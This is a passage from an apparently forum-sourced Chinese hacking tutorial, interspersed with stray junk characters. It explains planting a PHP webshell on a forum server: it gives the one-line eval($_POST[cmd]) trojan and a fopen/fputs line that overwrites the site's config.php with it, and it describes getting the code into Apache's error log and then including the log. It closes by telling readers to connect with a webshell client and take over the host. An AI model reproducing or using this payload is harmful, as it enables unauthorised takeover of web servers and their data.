因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 ( A& y/ I- H1 k6 a) a
' W- k, q6 W2 T" B2 ~比如还是这句一句话木马 / l4 r2 m& z$ g3 _
<?eval($_POST[cmd]);?> : e/ R: ?& P4 ]
# s0 b, Y3 k% E0 d4 t
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， ) g6 y4 K' Y5 c
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
8 Y5 |( M I: T! l5 n) Z
& h6 W5 U+ H8 _6 b<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");

1 Z; J! m: k1 ]9 |# W8 K$ @
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。

这样就错误日志里就记录下了这行写入webshell的代码。

直接用lanker的客户端一连，主机就是你的了。
